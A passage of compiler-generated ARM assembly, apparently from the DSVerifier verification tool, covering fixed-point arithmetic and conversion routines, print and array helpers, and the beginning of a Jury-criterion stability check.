bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-12]
str r3, [fp, #-8]
mov r2, #0
mov r3, #0
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_dcmplt
mov r3, r0
cmp r3, #0
beq .L67
mov r2, #0
mov r3, #0
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dcmpeq
mov r3, r0
cmp r3, #0
bne .L67
mov r2, #0
ldr r3, .L76+16
sub r1, fp, #20
ldmia r1, {r0-r1}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-20]
str r3, [fp, #-16]
sub r1, fp, #20
ldmia r1, {r0-r1}
bl __aeabi_d2iz
mov r3, r0
str r3, [fp, #-24]
b .L67
.L68:
ldr r3, .L76+8
ldr r3, [r3]
cmp r3, #0
bne .L67
sub r1, fp, #20
ldmia r1, {r0-r1}
bl __aeabi_d2iz
mov r3, r0
str r3, [fp, #-24]
.L67:
ldr r3, [fp, #-24]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L77:
.align 2
.L76:
.word impl
.word scale_factor
.word rounding_mode
.word 1071644672
.word 1072693248
.size fxp_double_to_fxp, .-fxp_double_to_fxp
.align 2
.global fxp_float_to_fxp_array
.syntax unified
.arm
.fpu softvfp
.type fxp_float_to_fxp_array, %function
fxp_float_to_fxp_array:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #28
str r0, [fp, #-24]
str r1, [fp, #-28]
str r2, [fp, #-32]
mov r3, #0
str r3, [fp, #-16]
b .L79
.L80:
ldr r3, [fp, #-16]
lsl r3, r3, #2
ldr r2, [fp, #-24]
add r3, r2, r3
ldr r1, [r3] @ float
ldr r3, [fp, #-16]
lsl r3, r3, #2
ldr r2, [fp, #-28]
add r4, r2, r3
mov r0, r1
bl fxp_float_to_fxp
mov r3, r0
str r3, [r4]
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L79:
ldr r2, [fp, #-16]
ldr r3, [fp, #-32]
cmp r2, r3
blt .L80
nop
nop
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.size fxp_float_to_fxp_array, .-fxp_float_to_fxp_array
.align 2
.global fxp_double_to_fxp_array
.syntax unified
.arm
.fpu softvfp
.type fxp_double_to_fxp_array, %function
fxp_double_to_fxp_array:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #28
str r0, [fp, #-24]
str r1, [fp, #-28]
str r2, [fp, #-32]
mov r3, #0
str r3, [fp, #-16]
b .L82
.L83:
ldr r3, [fp, #-16]
lsl r3, r3, #3
ldr r2, [fp, #-24]
add r3, r2, r3
ldmia r3, {r2-r3}
ldr r1, [fp, #-16]
lsl r1, r1, #2
ldr r0, [fp, #-28]
add r4, r0, r1
mov r0, r2
mov r1, r3
bl fxp_double_to_fxp
mov r3, r0
str r3, [r4]
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L82:
ldr r2, [fp, #-16]
ldr r3, [fp, #-32]
cmp r2, r3
blt .L83
nop
nop
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.size fxp_double_to_fxp_array, .-fxp_double_to_fxp_array
.global __aeabi_d2f
.align 2
.global fxp_to_float
.syntax unified
.arm
.fpu softvfp
.type fxp_to_float, %function
fxp_to_float:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
ldr r3, [fp, #-16]
str r3, [fp, #-12]
ldr r0, [fp, #-12]
bl __aeabi_i2d
ldr r3, .L86
ldr r3, [r3, #4]
ldr r2, .L86+4
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl __aeabi_d2f
mov r3, r0
str r3, [fp, #-8] @ float
ldr r3, [fp, #-8] @ float
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L87:
.align 2
.L86:
.word impl
.word scale_factor_inv
.size fxp_to_float, .-fxp_to_float
.align 2
.global fxp_to_double
.syntax unified
.arm
.fpu softvfp
.type fxp_to_double, %function
fxp_to_double:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
str r0, [fp, #-24]
ldr r3, [fp, #-24]
str r3, [fp, #-16]
ldr r0, [fp, #-16]
bl __aeabi_i2d
ldr r3, .L90
ldr r3, [r3, #4]
ldr r2, .L90+4
lsl r3, r3, #3
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-12]
str r3, [fp, #-8]
sub r3, fp, #12
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L91:
.align 2
.L90:
.word impl
.word scale_factor_inv
.size fxp_to_double, .-fxp_to_double
.align 2
.global fxp_to_float_array
.syntax unified
.arm
.fpu softvfp
.type fxp_to_float_array, %function
fxp_to_float_array:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #28
str r0, [fp, #-24]
str r1, [fp, #-28]
str r2, [fp, #-32]
mov r3, #0
str r3, [fp, #-16]
b .L93
.L94:
ldr r3, [fp, #-16]
lsl r3, r3, #2
ldr r2, [fp, #-28]
add r3, r2, r3
ldr r1, [r3]
ldr r3, [fp, #-16]
lsl r3, r3, #2
ldr r2, [fp, #-24]
add r4, r2, r3
mov r0, r1
bl fxp_to_float
mov r3, r0
str r3, [r4] @ float
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L93:
ldr r2, [fp, #-16]
ldr r3, [fp, #-32]
cmp r2, r3
blt .L94
nop
nop
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.size fxp_to_float_array, .-fxp_to_float_array
.align 2
.global fxp_to_double_array
.syntax unified
.arm
.fpu softvfp
.type fxp_to_double_array, %function
fxp_to_double_array:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #28
str r0, [fp, #-24]
str r1, [fp, #-28]
str r2, [fp, #-32]
mov r3, #0
str r3, [fp, #-16]
b .L96
.L97:
ldr r3, [fp, #-16]
lsl r3, r3, #2
ldr r2, [fp, #-28]
add r3, r2, r3
ldr r1, [r3]
ldr r3, [fp, #-16]
lsl r3, r3, #3
ldr r2, [fp, #-24]
add r4, r2, r3
mov r0, r1
bl fxp_to_double
mov r2, r0
mov r3, r1
stm r4, {r2-r3}
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L96:
ldr r2, [fp, #-16]
ldr r3, [fp, #-32]
cmp r2, r3
blt .L97
nop
nop
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.size fxp_to_double_array, .-fxp_to_double_array
.align 2
.global fxp_abs
.syntax unified
.arm
.fpu softvfp
.type fxp_abs, %function
fxp_abs:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
ldr r3, [fp, #-16]
cmp r3, #0
rsblt r3, r3, #0
str r3, [fp, #-8]
ldr r0, [fp, #-8]
bl fxp_quantize
str r0, [fp, #-8]
ldr r3, [fp, #-8]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size fxp_abs, .-fxp_abs
.align 2
.global fxp_add
.syntax unified
.arm
.fpu softvfp
.type fxp_add, %function
fxp_add:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
str r1, [fp, #-20]
ldr r2, [fp, #-16]
ldr r3, [fp, #-20]
add r3, r2, r3
str r3, [fp, #-8]
ldr r0, [fp, #-8]
bl fxp_quantize
str r0, [fp, #-8]
ldr r3, [fp, #-8]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size fxp_add, .-fxp_add
.align 2
.global fxp_sub
.syntax unified
.arm
.fpu softvfp
.type fxp_sub, %function
fxp_sub:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
str r1, [fp, #-20]
ldr r2, [fp, #-16]
ldr r3, [fp, #-20]
sub r3, r2, r3
str r3, [fp, #-8]
ldr r0, [fp, #-8]
bl fxp_quantize
str r0, [fp, #-8]
ldr r3, [fp, #-8]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size fxp_sub, .-fxp_sub
.align 2
.global fxp_mult
.syntax unified
.arm
.fpu softvfp
.type fxp_mult, %function
fxp_mult:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
str r1, [fp, #-20]
ldr r3, [fp, #-16]
ldr r2, [fp, #-20]
mul r3, r2, r3
str r3, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
blt .L105
ldr r3, .L108
ldr r3, [r3, #4]
sub r3, r3, #1
mov r2, #1
lsl r2, r2, r3
ldr r3, [fp, #-8]
and r3, r3, r2
lsl r2, r3, #1
ldr r3, [fp, #-8]
add r2, r2, r3
ldr r3, .L108
ldr r3, [r3, #4]
asr r3, r2, r3
str r3, [fp, #-12]
b .L106
.L105:
ldr r3, [fp, #-8]
rsb r2, r3, #0
ldr r3, .L108
ldr r3, [r3, #4]
sub r3, r3, #1
mov r1, #1
lsl r3, r1, r3
and r3, r3, r2
lsl r2, r3, #1
ldr r3, [fp, #-8]
sub r2, r2, r3
ldr r3, .L108
ldr r3, [r3, #4]
asr r3, r2, r3
rsb r3, r3, #0
str r3, [fp, #-12]
.L106:
ldr r0, [fp, #-12]
bl fxp_quantize
str r0, [fp, #-12]
ldr r3, [fp, #-12]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L109:
.align 2
.L108:
.word impl
.size fxp_mult, .-fxp_mult
.align 2
.global fxp_div
.syntax unified
.arm
.fpu softvfp
.type fxp_div, %function
fxp_div:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
str r1, [fp, #-20]
ldr r3, [fp, #-20]
cmp r3, #0
movne r3, #1
moveq r3, #0
and r3, r3, #255
mov r0, r3
bl __DSVERIFIER_assume
ldr r3, .L112
ldr r3, [r3, #4]
ldr r2, [fp, #-16]
lsl r3, r2, r3
ldr r1, [fp, #-20]
mov r0, r3
bl __aeabi_idiv
mov r3, r0
str r3, [fp, #-8]
ldr r0, [fp, #-8]
bl fxp_quantize
str r0, [fp, #-8]
ldr r3, [fp, #-8]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L113:
.align 2
.L112:
.word impl
.size fxp_div, .-fxp_div
.align 2
.global fxp_neg
.syntax unified
.arm
.fpu softvfp
.type fxp_neg, %function
fxp_neg:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
ldr r3, [fp, #-16]
rsb r3, r3, #0
str r3, [fp, #-8]
ldr r0, [fp, #-8]
bl fxp_quantize
str r0, [fp, #-8]
ldr r3, [fp, #-8]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size fxp_neg, .-fxp_neg
.align 2
.global fxp_sign
.syntax unified
.arm
.fpu softvfp
.type fxp_sign, %function
fxp_sign:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
beq .L117
ldr r3, [fp, #-8]
cmp r3, #0
bge .L118
ldr r3, .L122
ldr r3, [r3]
b .L121
.L118:
ldr r3, .L122+4
ldr r3, [r3]
b .L121
.L117:
mov r3, #0
.L121:
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L123:
.align 2
.L122:
.word _fxp_minus_one
.word _fxp_one
.size fxp_sign, .-fxp_sign
.align 2
.global fxp_shrl
.syntax unified
.arm
.fpu softvfp
.type fxp_shrl, %function
fxp_shrl:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
str r1, [fp, #-12]
ldr r2, [fp, #-8]
ldr r3, [fp, #-12]
lsr r3, r2, r3
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size fxp_shrl, .-fxp_shrl
.align 2
.global fxp_square
.syntax unified
.arm
.fpu softvfp
.type fxp_square, %function
fxp_square:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
ldr r1, [fp, #-8]
ldr r0, [fp, #-8]
bl fxp_mult
mov r3, r0
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size fxp_square, .-fxp_square
.section .rodata
.align 2
.LC4:
.ascii "\012%i\000"
.text
.align 2
.global fxp_print_int
.syntax unified
.arm
.fpu softvfp
.type fxp_print_int, %function
fxp_print_int:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
ldr r1, [fp, #-8]
ldr r0, .L129
bl printf
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L130:
.align 2
.L129:
.word .LC4
.size fxp_print_int, .-fxp_print_int
.section .rodata
.align 2
.LC5:
.ascii "\012%f\000"
.text
.align 2
.global fxp_print_float
.syntax unified
.arm
.fpu softvfp
.type fxp_print_float, %function
fxp_print_float:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
ldr r0, [fp, #-8]
bl fxp_to_float
mov r3, r0
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
ldr r0, .L132
bl printf
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L133:
.align 2
.L132:
.word .LC5
.size fxp_print_float, .-fxp_print_float
.align 2
.global fxp_print_float_array
.syntax unified
.arm
.fpu softvfp
.type fxp_print_float_array, %function
fxp_print_float_array:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
str r1, [fp, #-20]
mov r3, #0
str r3, [fp, #-8]
b .L135
.L136:
ldr r3, [fp, #-8]
lsl r3, r3, #2
ldr r2, [fp, #-16]
add r3, r2, r3
ldr r3, [r3]
mov r0, r3
bl fxp_to_float
mov r3, r0
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
ldr r0, .L137
bl printf
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L135:
ldr r2, [fp, #-8]
ldr r3, [fp, #-20]
cmp r2, r3
blt .L136
nop
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L138:
.align 2
.L137:
.word .LC5
.size fxp_print_float_array, .-fxp_print_float_array
.section .rodata
.align 2
.LC6:
.ascii "%s = {\000"
.align 2
.LC7:
.ascii " %jd \000"
.align 2
.LC8:
.ascii "}\000"
.text
.align 2
.global print_fxp_array_elements
.syntax unified
.arm
.fpu softvfp
.type print_fxp_array_elements, %function
print_fxp_array_elements:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
str r0, [fp, #-16]
str r1, [fp, #-20]
str r2, [fp, #-24]
ldr r1, [fp, #-16]
ldr r0, .L142
bl printf
mov r3, #0
str r3, [fp, #-8]
b .L140
.L141:
ldr r3, [fp, #-8]
lsl r3, r3, #2
ldr r2, [fp, #-20]
add r3, r2, r3
ldr r3, [r3]
mov r1, r3
ldr r0, .L142+4
bl printf
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L140:
ldr r2, [fp, #-8]
ldr r3, [fp, #-24]
cmp r2, r3
blt .L141
ldr r0, .L142+8
bl puts
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L143:
.align 2
.L142:
.word .LC6
.word .LC7
.word .LC8
.size print_fxp_array_elements, .-print_fxp_array_elements
.align 2
.global initialize_array
.syntax unified
.arm
.fpu softvfp
.type initialize_array, %function
initialize_array:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #20
str r0, [fp, #-16]
str r1, [fp, #-20]
mov r3, #0
str r3, [fp, #-8]
b .L145
.L146:
ldr r3, [fp, #-8]
lsl r3, r3, #3
ldr r2, [fp, #-16]
add r1, r2, r3
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L145:
ldr r2, [fp, #-8]
ldr r3, [fp, #-20]
cmp r2, r3
blt .L146
nop
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size initialize_array, .-initialize_array
.align 2
.global revert_array
.syntax unified
.arm
.fpu softvfp
.type revert_array, %function
revert_array:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
str r0, [fp, #-16]
str r1, [fp, #-20]
str r2, [fp, #-24]
ldr r1, [fp, #-24]
ldr r0, [fp, #-20]
bl initialize_array
mov r3, #0
str r3, [fp, #-8]
b .L148
.L149:
ldr r2, [fp, #-24]
ldr r3, [fp, #-8]
sub r3, r2, r3
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-16]
add r3, r2, r3
ldr r2, [fp, #-8]
lsl r2, r2, #3
ldr r1, [fp, #-20]
add r1, r1, r2
ldmia r3, {r2-r3}
stm r1, {r2-r3}
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L148:
ldr r2, [fp, #-8]
ldr r3, [fp, #-24]
cmp r2, r3
blt .L149
nop
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size revert_array, .-revert_array
.global __aeabi_dcmpgt
.align 2
.global internal_pow
.syntax unified
.arm
.fpu softvfp
.type internal_pow, %function
internal_pow:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #32
str r0, [fp, #-28]
str r1, [fp, #-24]
str r2, [fp, #-36]
str r3, [fp, #-32]
mov r2, #0
ldr r3, .L154
str r2, [fp, #-12]
str r3, [fp, #-8]
mov r3, #0
str r3, [fp, #-16]
b .L151
.L152:
sub r3, fp, #28
ldmia r3, {r2-r3}
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-12]
str r3, [fp, #-8]
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L151:
ldr r0, [fp, #-16]
bl __aeabi_i2d
mov r2, r0
mov r3, r1
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
bne .L152
sub r3, fp, #12
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L155:
.align 2
.L154:
.word 1072693248
.size internal_pow, .-internal_pow
.align 2
.global internal_abs
.syntax unified
.arm
.fpu softvfp
.type internal_abs, %function
internal_abs:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #8
str r0, [fp, #-20]
str r1, [fp, #-16]
mov r2, #0
mov r3, #0
sub r1, fp, #20
ldmia r1, {r0-r1}
bl __aeabi_dcmplt
mov r3, r0
cmp r3, #0
beq .L162
ldr r4, [fp, #-20]
ldr r3, [fp, #-16]
eor r5, r3, #-2147483648
b .L160
.L162:
sub r5, fp, #20
ldmia r5, {r4-r5}
.L160:
mov r2, r4
mov r3, r5
mov r0, r2
mov r1, r3
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.size internal_abs, .-internal_abs
.align 2
.global fatorial
.syntax unified
.arm
.fpu softvfp
.type fatorial, %function
fatorial:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
beq .L164
ldr r3, [fp, #-8]
sub r3, r3, #1
mov r0, r3
bl fatorial
mov r2, r0
ldr r3, [fp, #-8]
mul r3, r2, r3
b .L166
.L164:
mov r3, #1
.L166:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size fatorial, .-fatorial
.global __aeabi_dcmple
.section .rodata
.align 2
.LC9:
.ascii "[DEBUG] the first constraint of Jury criteria faile"
.ascii "d: (F(1) > 0)\000"
.align 2
.LC10:
.ascii "[DEBUG] the second constraint of Jury criteria fail"
.ascii "ed: (F(-1)*(-1)^n > 0)\000"
.align 2
.LC11:
.ascii "[DEBUG] the third constraint of Jury criteria faile"
.ascii "d: (abs(a0) < a_{n}*z^{n})\000"
.global __aeabi_ddiv
.align 2
.LC12:
.word __stack_chk_guard
.text
.align 2
.global check_stability
.syntax unified
.arm
.fpu softvfp
.type check_stability, %function
check_stability:
@ args = 0, pretend = 0, frame = 72
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, r6, r7, r8, r9, r10, fp, lr}
add fp, sp, #32
sub sp, sp, #76
str r0, [fp, #-104]
str r1, [fp, #-108]
ldr r3, .L209
ldr r3, [r3]
str r3, [fp, #-40]
mov r3,#0
mov r3, sp
mov r10, r3
ldr r3, [fp, #-108]
lsl r3, r3, #1
sub r3, r3, #1
str r3, [fp, #-84]
ldr r3, [fp, #-108]
str r3, [fp, #-92]
ldr ip, [fp, #-108]
ldr lr, [fp, #-84]
sub r3, ip, #1
str r3, [fp, #-80]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r4, r3, #3
sub r3, lr, #1
str r3, [fp, #-76]
mov r3, ip
mov r6, r3
mov r7, #0
mov r3, lr
mov r0, r3
mov r1, #0
mul r2, r0, r7
mul r3, r6, r1
add r5, r2, r3
umull r2, r3, r6, r0
add r1, r5, r3
mov r3, r1
mov r0, #0
mov r1, #0
lsl r1, r3, #6
orr r1, r1, r2, lsr #26
lsl r0, r2, #6
mov r3, ip
mov r6, r3
mov r7, #0
mov r3, lr
mov r0, r3
mov r1, #0
mul r2, r0, r7
mul r3, r6, r1
add r5, r2, r3
umull r2, r3, r6, r0
add r1, r5, r3
mov r3, r1
mov r0, #0
mov r1, #0
lsl r1, r3, #6
orr r1, r1, r2, lsr #26
lsl r0, r2, #6
mov r3, ip
mov r2, lr
mul r3, r2, r3
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
mov r3, sp
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-72]
ldr ip, [fp, #-108]
sub r3, ip, #1
str r3, [fp, #-68]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #6
orr r3, r3, r0, lsr #26
lsl r2, r0, #6
mov r3, ip
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
mov r3, sp
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
str r3, [fp, #-64]
mov r3, #0
str r3, [fp, #-96]
b .L168
.L169:
ldr r3, [fp, #-96]
lsl r3, r3, #3
ldr r2, [fp, #-104]
add r3, r2, r3
ldmia r3, {r2-r3}
ldr r0, [fp, #-64]
ldr r1, [fp, #-96]
lsl r1, r1, #3
add r1, r0, r1
stm r1, {r2-r3}
ldr r3, [fp, #-96]
add r3, r3, #1
str r3, [fp, #-96]
.L168:
ldr r2, [fp, #-96]
ldr r3, [fp, #-108]
cmp r2, r3
blt .L169
mov r2, #0
mov r3, #0
str r2, [fp, #-52]
str r3, [fp, #-48]
mov r3, #0
str r3, [fp, #-96]
b .L170
.L171:
ldr r3, [fp, #-96]
lsl r3, r3, #3
ldr r2, [fp, #-104]
add r3, r2, r3
ldmia r3, {r2-r3}
sub r1, fp, #52
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-52]
str r3, [fp, #-48]
ldr r3, [fp, #-96]
add r3, r3, #1
str r3, [fp, #-96]
.L170:
ldr r2, [fp, #-96]
ldr r3, [fp, #-108]
cmp r2, r3
blt .L171
mov r2, #0
mov r3, #0
sub r1, fp, #52
ldmia r1, {r0-r1}
bl __aeabi_dcmple
mov r3, r0
cmp r3, #0
beq .L205
ldr r0, .L209+4
bl printf
mov r3, #0
b .L174
.L205:
mov r2, #0
mov r3, #0
str r2, [fp, #-52]
str r3, [fp, #-48]
mov r3, #0
str r3, [fp, #-96]
b .L175
.L176:
ldr r3, [fp, #-96]
lsl r3, r3, #3
ldr r2, [fp, #-104]
add r3, r2, r3
ldmia r3, {r6-r7}
ldr r3, [fp, #-108]
sub r2, r3, #1
ldr r3, [fp, #-96]
sub r3, r2, r3
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, #0
ldr r1, .L209+8
bl internal_pow
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dmul
mov r2, r0
mov r3, r1
sub r1, fp, #52
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-52]
str r3, [fp, #-48]
ldr r3, [fp, #-96]
add r3, r3, #1
str r3, [fp, #-96]
.L175:
ldr r2, [fp, #-96]
ldr r3, [fp, #-108]
cmp r2, r3
blt .L176
ldr r3, [fp, #-108]
sub r3, r3, #1
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, #0
ldr r1, .L209+8
bl internal_pow
mov r2, r0
mov r3, r1
sub r1, fp, #52
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-52]
str r3, [fp, #-48]
mov r2, #0
mov r3, #0
sub r1, fp, #52
ldmia r1, {r0-r1}
bl __aeabi_dcmple
mov r3, r0
cmp r3, #0
beq .L206
ldr r0, .L209+12
bl printf
mov r3, #0
b .L174
.L206:
ldr r3, [fp, #-108]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-104]
add r3, r2, r3
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
bl internal_abs
ldr r3, [fp, #-104]
ldmia r3, {r2-r3}
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L207
ldr r0, .L209+16
bl printf
mov r3, #0
b .L174
.L207:
mov r3, #0
str r3, [fp, #-96]
b .L181
.L184:
mov r3, #0
str r3, [fp, #-100]
b .L182
.L183:
lsr r3, r4, #3
ldr r2, [fp, #-72]
ldr r1, [fp, #-96]
mul r1, r3, r1
ldr r3, [fp, #-100]
add r3, r1, r3
lsl r3, r3, #3
add r1, r2, r3
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r3, [fp, #-100]
add r3, r3, #1
str r3, [fp, #-100]
.L182:
ldr r2, [fp, #-100]
ldr r3, [fp, #-92]
cmp r2, r3
blt .L183
ldr r3, [fp, #-96]
add r3, r3, #1
str r3, [fp, #-96]
.L181:
ldr r2, [fp, #-96]
ldr r3, [fp, #-84]
cmp r2, r3
blt .L184
mov r3, #0
str r3, [fp, #-96]
b .L185
.L193:
mov r3, #0
str r3, [fp, #-100]
b .L186
.L192:
ldr r3, [fp, #-96]
cmp r3, #0
bne .L187
ldr r3, [fp, #-100]
lsl r3, r3, #3
ldr r2, [fp, #-104]
add r3, r2, r3
lsr r1, r4, #3
ldmia r3, {r2-r3}
ldr r0, [fp, #-72]
ldr ip, [fp, #-96]
mul ip, r1, ip
ldr r1, [fp, #-100]
add r1, ip, r1
lsl r1, r1, #3
add r1, r0, r1
stm r1, {r2-r3}
b .L188
.L187:
ldr r3, [fp, #-96]
and r3, r3, #1
cmp r3, #0
beq .L189
mov r3, #0
str r3, [fp, #-88]
b .L190
.L191:
lsr r0, r4, #3
ldr r3, [fp, #-96]
sub ip, r3, #1
ldr r2, [fp, #-92]
ldr r3, [fp, #-88]
sub r3, r2, r3
sub r3, r3, #1
